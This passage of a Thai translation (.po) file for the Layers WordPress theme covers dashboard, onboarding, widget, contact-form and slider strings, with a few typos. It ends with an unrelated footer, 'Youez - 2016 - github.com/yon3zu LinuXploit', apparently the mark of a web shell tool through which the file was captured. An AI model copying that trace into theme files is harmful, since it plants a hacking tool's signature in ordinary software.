msgstr "ทำตามขั้นตอนง่ายๆเพื่อสร้างรูปแบบที่มหัศจรรย์ได้โดยรวดเร็วและง่าย"

#: core/options-panel/partials/dashboard.php:26
#@ layerswp
msgid "Get Started &rarr;"
msgstr "เริ่มเลย &rarr;"

#: core/options-panel/partials/dashboard.php:40
#@ layerswp
msgid "Edit"
msgstr "แก้ไข"

#: core/options-panel/partials/dashboard.php:41
#@ layerswp
msgid "View"
msgstr "ดู"

#: core/options-panel/partials/dashboard.php:59
#@ layerswp
msgid "Extensions"
msgstr "ส่วนเสริม"

#: core/options-panel/partials/dashboard.php:75
#@ layerswp
msgid "Coming soon"
msgstr "เร็วๆนี้"

#: core/options-panel/partials/dashboard.php:83
#@ layerswp
msgid "Purchase"
msgstr "ซื้อ"

#: core/options-panel/partials/dashboard.php:88
#@ layerswp
msgid "More Details"
msgstr "รายละเอียดเพิ่มเติม"

#: core/options-panel/partials/dashboard.php:105
#@ layerswp
msgid "What you need"
msgstr "คุณต้องการอะไร"

#: core/options-panel/partials/dashboard.php:109
#@ layerswp
msgid "WordPress 4.0"
msgstr "เวิดเพลส 4.0"

#: core/options-panel/partials/dashboard.php:111
#@ layerswp
msgid "Layers requires you run the latest version of WordPress, please make sure you're up to date!"
msgstr "การใช้เลเยอร์คุณจำเป็นต้องใช้เวิดเพลสรุ่นล่าสุด "

#: core/options-panel/partials/dashboard.php:115
#@ layerswp
msgid "You're up to date"
msgstr "คุณได้ใช้รุ่นล่าสุดแล้ว"

#: core/options-panel/partials/dashboard.php:117
#@ layerswp
msgid "Update WordPress"
msgstr "อัพเดทเวิดเพลส"

#: core/options-panel/partials/dashboard.php:122
#@ layerswp
msgid "The Layers Updater"
msgstr "ตัวอัพเดทเลเยอร์"

#: core/options-panel/partials/dashboard.php:124
#@ layerswp
msgid "Make sure you're always running the latest version of Layers by installing the Layers Updater"
msgstr "ให้มั่นใจว่าคุณได้ใจเลเยอร์รุ่นล่าสุดอยู่เสมอโดยลงตัวอัพเดทเลเยอร์"

#: core/options-panel/partials/dashboard.php:128
#@ layerswp
msgid "Installed"
msgstr "ลงเสร็จแล้ว"

#: core/options-panel/partials/dashboard.php:144
#@ layerswp
msgid "Helpful Tips"
msgstr "เทคนิคช่วยเหลือที่เป็นประโยชน์"

#: core/options-panel/partials/get-started.php:16
#@ layerswp
msgid "Skip"
msgstr "ข้าม"

#: core/options-panel/partials/get-started.php:28
#@ layerswp
msgid "Welcome to Layers!"
msgstr "ยินดีต้อนรับสู่เลเยอร์!"

#: core/options-panel/partials/get-started.php:32
#@ layerswp
msgid "Layers is a revolutionary WordPress Site Builder that makes website building a dream come true!"
msgstr "เลเยอร์คือการปฏิวัติการสร้างหน้าเวิดเพลส ที่จะช่วยให้ฝันของคุณเป็นจริง!"

#: core/options-panel/partials/get-started.php:35
#@ layerswp
msgid "The following short steps are designed to show you how Layers works and get you to creating amazing layouts quickly!"
msgstr "ทำตามขั้นตอนสั้นๆง่ายๆที่ออกแบบมาเพื่อแสดงให้คุณเห็นว่าเลเยอร์ทำงานอย่างไรและช่วยให้คุณสามารถสร้างรูปแบบได้ดว้ยตัวเองเร็วขึ้น"

#: core/options-panel/partials/get-started.php:38
#@ layerswp
msgid "Enjoy the ride!"
msgstr "ขอให้สนุก!"

#: core/widgets/modules/slider.php:397
#@ layerswp
msgid "Slider Height"
msgstr "ความสูงของสไลด์"

#: core/widgets/modules/slider.php:445
#@ layerswp
msgid "Add New Slide"
msgstr "เพิ่มสไลด์ใหม่"

#: core/widgets/modules/slider.php:481
#@ layerswp
msgid "Slide"
msgstr "สไลด์"

#: core/widgets/modules/slider.php:514
#@ layerswp
msgid "Enter a Title"
msgstr "เพิ่มหัวเรื้อง"

#: footer.php:3
#@ layerswp
msgid "Back to top"
msgstr "กลับไปด้านบน"

#: functions.php:162
#@ layerswp
msgid "Top Left Menu"
msgstr "เมนูบนซ้าย"

#: functions.php:163
#@ layerswp
msgid "Top Right Menu"
msgstr "เมนูบนขวา"

#: functions.php:164
#@ layerswp
msgid "Header Menu"
msgstr "เมนูส่วนหัว"

#: functions.php:165
#@ layerswp
msgid "Right Header Menu"
msgstr "เมนูส่วนหัวขวา"

#: functions.php:166
#@ layerswp
msgid "Footer Menu"
msgstr "เมนูส่วนท้าย"

#: functions.php:194
#@ layerswp
msgid "Mobile Sidebar"
msgstr "แถบข้างโทรศัพท์"

#: functions.php:195
#@ layerswp
msgid "This sidebar will only appear on mobile devices."
msgstr "แถบข้างจะแสดงบนอุปกรณ์เคลื่อนที่เท่านั้น"

#: functions.php:204
#@ layerswp
msgid "Left Sidebar"
msgstr "แถบด้านซ้าย"

#: functions.php:213
#@ layerswp
msgid "Right Sidebar"
msgstr "แถบด้านขวา"

#: functions.php:226
#@ layerswp
msgid "Footer "
msgstr "ส่วนท้าย"

#: functions.php:240
#@ layerswp
msgid "Left Shop Sidebar"
msgstr "แถบร้านค้าด้านซ้าย"

#: functions.php:249
#@ layerswp
msgid "Right Shop Sidebar"
msgstr "แถบร้านค้าด้านขวา"

#: functions.php:397
#@ layerswp
msgid "Be patient while we import the widget data and images."
msgstr "อดใจรอระหว่างการนำเข้าข้อมูลวิทเจ็ดและภาพ"

#: functions.php:398
#@ layerswp
msgid "Import Complete"
msgstr "นำเข้าเสร็จเรียบร้อย"

#: functions.php:399
#@ layerswp
msgid "Importing Your Content"
msgstr "กำลังนำเข้าเนื้อหาของคุณ"

#: functions.php:400
#@ layerswp
msgid "Edit Your New Page"
msgstr "แก้ไขหน้าใหม่ของคุณ"

#: functions.php:437
#@ layerswp
msgid "Saving..."
msgstr "กำลังบันทึก..."

#: functions.php:438
#@ layerswp
msgid "Done!"
msgstr "เสร็จ!"

#: functions.php:459
#@ layerswp
msgid "Your pages have been successfully backed up!"
msgstr "หน้าของคุณได้ถูกทำการสำรองไว้เรียบร้อยแล้ว"

#: partials/content-empty.php:9
#@ layerswp
msgid "No posts found"
msgstr "ไม่พบโพส"

#: partials/content-empty.php:12
#@ layerswp
msgid "Use the search form below to find the page you're looking for:"
msgstr "ใช้การค้นหาด้านล่างเพื่อค้นหาหน้าที่คุณต้องการ:"

#: partials/content-single.php:29
#@ ocmx
msgid "<span>Pages:</span>"
msgstr "<span>หน้า:</span>"

#: partials/portfolio-list.php:24
#@ layerswp
msgid "View Project"
msgstr "ดูโครงงาน"

#: comments.php:6
#, php-format
#@ layerswp
msgid "One Comment on &ldquo;%2$s&rdquo;"
msgid_plural "%1$s Comments on &ldquo;%2$s&rdquo;"
msgstr[0] "หนึ่งความเห็นบน &ldquo;%2$s&rdquo;"
msgstr[1] "%1$s ความเห็น &ldquo;%2$s&rdquo;"

#: comments.php:19
#@ layerswp
msgid "&larr;"
msgstr "&larr;"

#: comments.php:20
#@ layerswp
msgid "&rarr;"
msgstr "&rarr;"

#: core/options-panel/partials/get-started.php:45
#@ layerswp
msgid "Let's get started &rarr;"
msgstr "มาเริ่มกันเลย&rarr;"

#: core/options-panel/partials/get-started.php:55
#@ layerswp
msgid "For the Pros: Layers will automatically assign the tagline to Settings &rarr; General."
msgstr "ข้อดีคือ: เลเยอร์จะตั้งสโลแกนอัตโนมัติเพื่อตั้งค่า &rarr; ทั่วไป"

#: core/options-panel/partials/get-started.php:69
#: core/options-panel/partials/get-started.php:157
#: core/options-panel/partials/get-started.php:236
#@ layerswp
msgid "Getting Started"
msgstr "เริ่มกันเลย"

#: core/options-panel/partials/get-started.php:73
#@ layerswp
msgid "Building pages"
msgstr "สร้างหน้า"

#: core/options-panel/partials/get-started.php:77
#@ layerswp
msgid "Layers splits your page into horizontal rows, and you build up your pages with blocks of content called &lsquo;Widgets&rsquo;, one per row."
msgstr "เลเยอร์จะแบ่งหน้าของคุณเป็นแถวในแนวนอน และคุณจะสร้างหน้าของคุณด้วยกล่องเนื้อหา ที่เรียกว่า&lsquo;วิทเจ็ด&rsquo;, หนึ่งอันต่อแถว."

#: core/options-panel/partials/get-started.php:80
#@ layerswp
msgid "Each time you want to add a new content block, simply click &lsquo;Add Widget&rsquo; and select one from the list which has the blue Layers icon."
msgstr "แต่ละครั้งที่คุณต้องการเพิ่มกล่องเนื้อหาใหม่ ทำได้โดยเพียงกดที่ &lsquo;เพิ่มวิทเจ็ด&rsquo;และเลือกอันที่ต้องการจากรายการซึ่งมีสัญลักษณ์สีฟ้า"

#: core/options-panel/partials/get-started.php:86
#@ layerswp
msgid "Got it, Next Step &rarr;"
msgstr "เข้าใจแล้ว, ขั้นต่อไป"

#: core/options-panel/partials/get-started.php:101
#@ layerswp
msgid "What is the name of your website?"
msgstr "เว็บไซต์ของคุณชื่อว่าอะไร"

#: core/options-panel/partials/get-started.php:104
#@ layerswp
msgid "Enter your website name below. We&apos;ll use this in your site title and in search results."
msgstr "ใส่ชื่อเว็บไซต์ของคุณด้านล่าง เรา&apos;จะใช้มันในหัวเรื่องหน้าของคุณและในผลการค้นหา"

#: core/options-panel/partials/get-started.php:108
#@ layerswp
msgid "Site Name"
msgstr "ชื่อหน้า"

#: core/options-panel/partials/get-started.php:128
#@ layerswp
msgid "Saving your Site Name"
msgstr "บันทึกชื่อหน้าของคุณ"

#: core/options-panel/partials/get-started.php:130
#: core/options-panel/partials/get-started.php:169
#: core/options-panel/partials/get-started.php:212
#: core/options-panel/partials/get-started.php:253
#: core/options-panel/partials/get-started.php:297
#@ layerswp
msgid "Next Step &rarr;"
msgstr "ขั้นต่อไป &rarr;"

#: core/options-panel/partials/get-started.php:142
#@ layerswp
msgid "For the Pros: Layers will automatically assign this site name to Settings &rarr; General"
msgstr "ข้อดีคือ: เลเยอร์จะตั้งชื่อหน้านี้อัตโนมัติเป็นตั้งค่า &rarr; ทั่วไป"

#: core/options-panel/partials/get-started.php:161
#@ layerswp
msgid "Editing widget content"
msgstr "แก้ไขวิทเจ็ดเนื้อหา"

#: core/options-panel/partials/get-started.php:164
#@ layerswp
msgid "To edit a widget's content, just click on it in the widget area on the left hand side. The widget panel will slide out allowing you to edit its content and customize its settings. You can also shift-click on the widget itself in the preview area."
msgstr "เพื่อแก้ไขวิทเจ็ดเนื้อหา เพียงกดในส่วนของวิทเจ็ดที่ด้านซ้าย ส่วนควบคุมวิทเจ็ดจะเลื่อนออกมาเพื่อให้คุณได้แก้ไขเนื้อหาและปรับแต่ง คุณยังสามารถใช้ ชิฟและกด บนวิทเจ็ดในส่วนการชม"

#: core/options-panel/partials/get-started.php:184
#@ layerswp
msgid "How would you best describe your site?"
msgstr "คุณจะอธิบายหน้าของคุณอย่างไรให้ดีที่สุด?"

#: core/options-panel/partials/get-started.php:187
#@ layerswp
msgid "A tagline describes who and what you are in just a few simple words. For example Layers is a &ldquo;WordPress Site Builder&rdquo; - simple, easy, quick to read. Now you try:"
msgstr "สโลแกนจะใช้อธิวายว่าคุณคือใครและคุณเป็นใครในถ้อยคำสั้นๆ ตัวอย่างเช่น &ldquo;ตัวสร้างหน้าเวิดเพลส&rdquo; - ธรรมดา, ง่าย, สั้น ทีนี้มาลองกันเลย"

#: core/options-panel/partials/get-started.php:191
#@ layerswp
msgid "Site Tagline"
msgstr "สโลแกนของหน้า"

#: core/options-panel/partials/get-started.php:211
#@ layerswp
msgid "Saving your Tagline"
msgstr "บันทึกสโลแกนของหน้า"

#: core/options-panel/partials/get-started.php:219
#@ layerswp
msgid "Keep it simple"
msgstr "เอาให้เข้าใจง่ายไว้"

#: core/options-panel/partials/get-started.php:220
#@ layerswp
msgid "Avoid buzz words"
msgstr "หลีกเลี่ยงคำเฉพาะ"

#: core/options-panel/partials/get-started.php:221
#@ layerswp
msgid "Make sure it describes what you offer"
msgstr "ให้มั่นใจว่าได้ใส่สิ่งที่คุณทำบนหน้า"

#: core/options-panel/partials/get-started.php:222
#@ layerswp
msgid "For the Pros: Layers will automatically assign the tagline to Settings &rarr; General"
msgstr "ข้อดีคือ: เลเยอร์จะตั้งสโลแกนเป็นตั้งค่า &rarr; ทั่วไป"

#: core/options-panel/partials/get-started.php:240
#@ layerswp
msgid "Customizing widgets"
msgstr "ปรับแต่งวิทเจ็ด"

#: core/options-panel/partials/get-started.php:244
#@ layerswp
msgid "Unique to each Layers widget is the revolutionary &ldquo;Design Bar&rdquo; which allows you to set its design parameters without touching a line of code."
msgstr "เลเยอร์แต่ละอันจะมีความพิเศษ &ldquo; มีแถบออกแบบ &rdquo; ที่จะทำให้คุณสามารถออกแบบได้โดยไม่ต้องเขียนโค๊ด"

#: core/options-panel/partials/get-started.php:247
#@ layerswp
msgid "Depending on the widget you've added, you can change things like background images, font sizes, list styles and more."
msgstr "โดยขึ้นอยู่กับวิทเจ็ดที่คุณเพิ่ม คุณสามารถเปลี่ยนสิ่งต่างๆได้ เช่น พื้นหลัง ขนาดตัวอักษร รูปแบบรายการ และอื่นๆ"

#: core/options-panel/partials/get-started.php:268
#@ layerswp
msgid "Would you like to add your logo?"
msgstr "คุณต้องการเพิ่มโลโก้ไหม?"

#: core/options-panel/partials/get-started.php:271
#@ layerswp
msgid "Layers will add your logo and position it properly. If you don&apos;t have one yet, no problem, you can add it later, or skip this step if you&apos;d just prefer to use text."
msgstr "เลเยอร์จะช่วยเพิ่มโลโก้และจัดตำแหน่งให้อย่างเหมาะสม หากคุุณ&apos;ยังไม่มี ไม่มีปัญหา คุณสามารถเพิ่มมันภายหลังได้ หรือข้ามขั้นตอนนี้ไปก่อน ถ้าหากคุณ&apos;dต้องการใช้เป็นแบบข้อความ"

#: core/options-panel/partials/get-started.php:279
#@ layerswp
msgid "Choose Logo"
msgstr "เลือกโลโก้"

#: core/options-panel/partials/get-started.php:296
#@ layerswp
msgid "Updating your Logo"
msgstr "อัพเดทโลโก้ของคุณ"

#: core/options-panel/partials/get-started.php:304
#@ layerswp
msgid "For best results, use an image between 40px and 200px tall and not more than 1000px wide"
msgstr "เพื่อผลลัพธ์ที่ดีที่สุด ควรใช้ภาพความสูงระหว่าง 40px และ 200px และกว้างไม่เกิน 1000px"

#: core/options-panel/partials/get-started.php:305
#@ layerswp
msgid "PNGs with a transparent background work best but GIFs or JPGs are fine too"
msgstr "ภาพ PNGs ที่มีพื้นหลังโปร่งใสจะให้ผลลัพธ์ดีมาก แต่ GIFs หรือ JPGs ก็ดีเช่นกัน"

#: core/options-panel/partials/get-started.php:306
#@ layerswp
msgid "Try keep your logo file size below 500kb"
msgstr "พยายามให้ขนาดไฟล์โลโก้ของคุณต่ำกว่า 500kb"

#: core/options-panel/partials/get-started.php:320
#@ layerswp
msgid "Page Title"
msgstr "หัวข้อหน้า"

#: core/options-panel/partials/get-started.php:349
#@ layerswp
msgid "Now let&apos;s create your first Layers page!"
msgstr "ตอนนี้มาเริ่ม&apos;สร้างหน้าเลเยอร์แรก!"

#: core/options-panel/partials/get-started.php:353
#@ layerswp
msgid "You will be able to edit your layout on the next page. Here we go! "
msgstr "คุณจะสามารถแก้ไขรูปแบบในหน้าต่อไป เริ่มกันเลย!"

#: core/options-panel/partials/get-started.php:359
#@ layerswp
msgid "Creating your Page"
msgstr "สร้างหน้าของคุณ"

#: core/options-panel/partials/get-started.php:360
#@ layerswp
msgid "First choose a layout"
msgstr "อย่างแรก เริ่มเลือกรูปแบบ"

#: core/options-panel/partials/get-started.php:360
#@ layerswp
msgid "Start Building"
msgstr "เริ่มสร้าง"

#: core/options-panel/partials/preset-layouts.php:20
#@ layerswp
msgid "Select"
msgstr "เลือก"

#: core/third-party/site-logo/inc/class-site-logo-control.php:19
#@ layerswp
msgid "Add logo"
msgstr "เพิ่มโลโก้"

#: core/third-party/site-logo/inc/class-site-logo-control.php:20
#@ layerswp
msgid "Set as logo"
msgstr "ตั้งค่าเป็นโลโก้"

#: core/third-party/site-logo/inc/class-site-logo-control.php:21
#@ layerswp
msgid "Choose logo"
msgstr "เลือกโลโก้"

#: core/third-party/site-logo/inc/class-site-logo-control.php:22
#@ layerswp
msgid "Change logo"
msgstr "เปลี่ยนโลโก้"

#: core/third-party/site-logo/inc/class-site-logo-control.php:23
#@ layerswp
msgid "Remove logo"
msgstr "เอาโลโก้ออก"

#: core/third-party/site-logo/inc/class-site-logo-control.php:24
#@ layerswp
msgid "No logo set"
msgstr "ไม่มีโลโก้"

#: core/third-party/site-logo/inc/class-site-logo.php:81
#@ layerswp
msgid "Site Title, Tagline, and Logo"
msgstr "ชื่อหน้า สโลแกน และโลโก้"

#: core/third-party/site-logo/inc/class-site-logo.php:92
#@ layerswp
msgid "Display Header Text"
msgstr "แสดงข้อความส่วนหัว"

#: core/third-party/site-logo/inc/class-site-logo.php:114
#@ layerswp
msgid "Logo"
msgstr "โลโก้"

#: core/third-party/site-logo/inc/class-site-logo.php:254
#@ layerswp
msgid "Site Logo"
msgstr "โลโกหน้า"

#: core/widgets/init.php:80
#@ layerswp
msgid " Body"
msgstr "ส่วนร่าง"

#: core/widgets/init.php:165
#@ layerswp
msgid "Layers Builder section."
msgstr "ส่วนสร้างเลเยอร์"

#: core/widgets/init.php:190
#@ layerswp
msgid "Are you sure you want to remove this slide?"
msgstr "คุณแน่ใจไหมว่าต้องการลบสไลด์?"

#: core/widgets/init.php:202
#@ layerswp
msgid "Are you sure you want to remove this column?"
msgstr "คุณมั่นใจไหมว่าต้องการลบแถวนี้?"

#: core/widgets/modules/contact.php:26
#@ layerswp
msgid "Contact Details &amp; Maps"
msgstr "รายละเอียดการติดต่อ &amp; แผนที่"

#: core/widgets/modules/contact.php:37
#: core/widgets/modules/content.php:33
#: core/widgets/modules/post.php:42
#: core/widgets/modules/slider.php:37
#@ default
msgid "This widget is used to display your "
msgstr " วิทเจ็ดนี้จะใช้แสดง"

#: core/widgets/modules/contact.php:207
#: core/widgets/modules/post.php:322
#@ layerswp
msgid "Display"
msgstr "แสดง"

#: core/widgets/modules/contact.php:216
#@ layerswp
msgid "Map Height"
msgstr "ความสูงแผนที่"

#: core/widgets/modules/contact.php:223
#@ layerswp
msgid "Show Google Map"
msgstr "แสดงกูเกิ้ลแมพ"

#: core/widgets/modules/contact.php:230
#@ layerswp
msgid "Show Address"
msgstr "แสดงที่อยู่"

#: core/widgets/modules/contact.php:237
#@ layerswp
msgid "Show Contact Form"
msgstr "แสดงฟอร์มการติดต่อ"

#: core/widgets/modules/contact.php:258
#@ layerswp
msgid "Contact"
msgstr "ติดต่อ"

#: core/widgets/modules/contact.php:282
#: core/widgets/modules/content.php:374
#: core/widgets/modules/content.php:512
#: core/widgets/modules/post.php:457
#: core/widgets/modules/slider.php:528
#@ layerswp
msgid "Short Excerpt"
msgstr "ตัดย่อสั้นๆ"

#: core/widgets/modules/contact.php:295
#@ layerswp
msgid "Address"
msgstr "ที่อยู่"

#: core/widgets/modules/contact.php:296
#: core/widgets/modules/contact.php:346
#@ layerswp
msgid "Place your help text here please."
msgstr "กรุณาใส่ข้อความการช่วยเหลือของคุณที่นี่"

#: core/widgets/modules/contact.php:301
#@ layerswp
msgid "Google Maps Location"
msgstr "ตำแหน่งกูเกิ้ลแมพ"

#: core/widgets/modules/contact.php:307
#@ layerswp
msgid "e.g. 300 Prestwich Str, Cape Town, South Africa"
msgstr "เช่น 300 เพลสทวิส เมืองเคป แอฟริกาใต้"

#: core/widgets/modules/contact.php:313
#@ layerswp
msgid "Google Maps Latitude & Longitude (Optional)"
msgstr "เส้นรุ้ง&เส้นแวง กูเกิ้ลแมพ(ใส่หรือไม่ก็ได้)"

#: core/widgets/modules/contact.php:319
#@ layerswp
msgid "e.g. 33.9253 S, 18.4239 E"
msgstr "เช่น 33.9253 S, 18.429 E"

#: core/widgets/modules/contact.php:325
#@ layerswp
msgid "Address Shown"
msgstr "แสดงที่อยู่"

#: core/widgets/modules/contact.php:331
#@ layerswp
msgid "e.g. Prestwich Str, Cape Town"
msgstr "เช่น ถนนเพลสตัน เมืองเคป"

#: core/widgets/modules/contact.php:345
#@ layerswp
msgid "Contact Form"
msgstr "ฟอร์มติดต่อ"

#: core/widgets/modules/contact.php:356
#@ layerswp
msgid "Contact form embed code"
msgstr "ฟอร์มติดต่อฝังโค๊ด"

#: core/widgets/modules/content.php:26
#@ layerswp
msgid "Content"
msgstr "เนื้อหา"

#: core/widgets/modules/content.php:405
#@ layerswp
msgid "Add New Column"
msgstr "เพิ่มแถวใหม่"

#: core/widgets/modules/content.php:438
#@ layerswp
msgid "Column"
msgstr "แถว"

#: core/widgets/modules/content.php:474
#@ layerswp
msgid "1 of 12 columns"
msgstr "1 ใน 12 แถว"

#: core/widgets/modules/content.php:475
#@ layerswp
msgid "2 of 12 columns"
msgstr "2 ใน 12 แถว"

#: core/widgets/modules/content.php:476
#@ layerswp
msgid "3 of 12 columns"
msgstr "3 ใน 12 แถว"

#: core/widgets/modules/content.php:477
#@ layerswp
msgid "4 of 12 columns"
msgstr "4 ใน 12 แถว"

#: core/widgets/modules/content.php:478
#@ layerswp
msgid "5 of 12 columns"
msgstr "5 ใน 12 แถว"

#: core/widgets/modules/content.php:479
#@ layerswp
msgid "6 of 12 columns"
msgstr "6 ใน 12 แถว"

#: core/widgets/modules/content.php:480
#@ layerswp
msgid "8 of 12 columns"
msgstr "8 ใน 12 แถว"

#: core/widgets/modules/content.php:481
#@ layerswp
msgid "9 of 12 columns"
msgstr "9 ใน 12 แถว"

#: core/widgets/modules/content.php:482
#@ layerswp
msgid "10 of 12 columns"
msgstr "10 ใน 12 แถว"

#: core/widgets/modules/content.php:483
#@ layerswp
msgid "12 of 12 columns"
msgstr "12 ใน 12 แถว"

#: core/widgets/modules/content.php:493
#: core/widgets/modules/slider.php:508
#@ layerswp
msgid "Title"
msgstr "หัวเรื่อง"

#: core/widgets/modules/content.php:506
#: core/widgets/modules/slider.php:522
#@ layerswp
msgid "Excerpt"
msgstr "ตัดย่อ"

#: core/widgets/modules/content.php:521
#: core/widgets/modules/slider.php:537
#@ layerswp
msgid "Button Link"
msgstr "ปุ่มเชื่อมโยง"

#: core/widgets/modules/content.php:527
#: core/widgets/modules/slider.php:543
#@ layerswp
msgid "http://"
msgstr "http://"

#: core/widgets/modules/content.php:534
#: core/widgets/modules/slider.php:549
#@ layerswp
msgid "Button Text"
msgstr "ปุ่มข้อความ"

#: core/widgets/modules/content.php:540
#: core/widgets/modules/slider.php:555
#@ layerswp
msgid "e.g. \"Read More\""
msgstr "เช่น \"อ่านเพิ่มเติม\""

#: core/widgets/modules/post.php:26
#@ layerswp
msgid "Posts"
msgstr "โพส"

#: core/widgets/modules/post.php:65
#: partials/content-list.php:22
#@ layerswp
msgid "Read More"
msgstr "อ่านเพิ่มเติม"

#: core/widgets/modules/post.php:329
#@ layerswp
msgid "Title &amp; Excerpt Position"
msgstr "หัวเรื่อง &amp; ตำแหน่งที่ตัดย่อ"

#: core/widgets/modules/post.php:331
#@ layerswp
msgid "Regular"
msgstr "ปกติ"

#: core/widgets/modules/post.php:340
#@ layerswp
msgid "Show Featured Images"
msgstr "แสดงภาพเด่น"

#: core/widgets/modules/post.php:347
#@ layerswp
msgid "Show  Post Titles"
msgstr "แสดงชื่อเรื่องโพส"

#: core/widgets/modules/post.php:354
#@ layerswp
msgid "Show Post Excerpts"
msgstr "แสดงการตัดย่อของโพส"

#: core/widgets/modules/post.php:363
#@ layerswp
msgid "Excerpts Length"
msgstr "ขนาดในการตัดย่อ"

#: core/widgets/modules/post.php:370
#@ layerswp
msgid "Show Post Dates"
msgstr "แสดงวันที่ของโพส"

#: core/widgets/modules/post.php:377
#@ layerswp
msgid "Show Post Author"
msgstr "แสดงผู้เขียนโพส"

#: core/widgets/modules/post.php:384
#@ layerswp
msgid "Show Tags"
msgstr "แสดงแท๊ก"

#: core/widgets/modules/post.php:391
#@ layerswp
msgid "Show Categories"
msgstr "แสดงหมวดหมู่"

#: core/widgets/modules/post.php:398
#@ layerswp
msgid "Show \"Read More\" Buttons"
msgstr "แสดงปุ่ม \"อ่านเพิ่มเติม\""

#: core/widgets/modules/post.php:405
#@ layerswp
msgid "\"Read More\" Text"
msgstr "ข้อความ\"อ่านเพิ่มเติม\""

#: core/widgets/modules/post.php:412
#@ layerswp
msgid "Show Pagination"
msgstr "แสดงหมายเลขหน้า"

#: core/widgets/modules/post.php:431
#@ layerswp
msgid "Post"
msgstr "โพส"

#: core/widgets/modules/post.php:467
#@ layerswp
msgid "Category to Display"
msgstr "หมวดหมู่ที่แสดง"

#: core/widgets/modules/post.php:468
#@ layerswp
msgid "All"
msgstr "ทั้งหมด"

#: core/widgets/modules/post.php:475
#@ layerswp
msgid "Select a Category"
msgstr "เลือกหมวดหมู่"

#: core/widgets/modules/post.php:483
#@ layerswp
msgid "Number of items to show"
msgstr "ตัวเลขของสิ่งที่ตองการให้แสดง"

#: core/widgets/modules/post.php:484
#@ layerswp
msgid "Show All"
msgstr "แสดงทั้งหมด"

#: core/widgets/modules/post.php:499
#@ layerswp
msgid "Sort by"
msgstr "เรียงโดย"

#: core/widgets/modules/slider.php:26
#: core/widgets/modules/slider.php:358
#@ layerswp
msgid "Slider"
msgstr "สไลด์"

#: core/widgets/modules/slider.php:351
#@ layerswp
msgid "Full Screen"
msgstr "เต็มจอ"

#: core/widgets/modules/slider.php:365
#@ layerswp
msgid "Show Slider Arrows"
msgstr "แสดงลูกศรสไลด์"

#: core/widgets/modules/slider.php:372
#@ layerswp
msgid "Show Slider Dots"
msgstr "แสดงปุ่มสไลด์"

#: core/widgets/modules/slider.php:379
#@ layerswp
msgid "Autoplay Slides"
msgstr "เล่นสไลด์อัตโนมัติ"

#: core/widgets/modules/slider.php:387
#@ layerswp
msgid "Time in seconds, eg. 2"
msgstr "เวลาเป็นวิ เช่น 2"

#: core/widgets/modules/slider.php:389
#@ layerswp
msgid "Slide Interval"
msgstr "ช่วงเวลาสไลด์"


Youez - 2016 - github.com/yon3zu
LinuXploit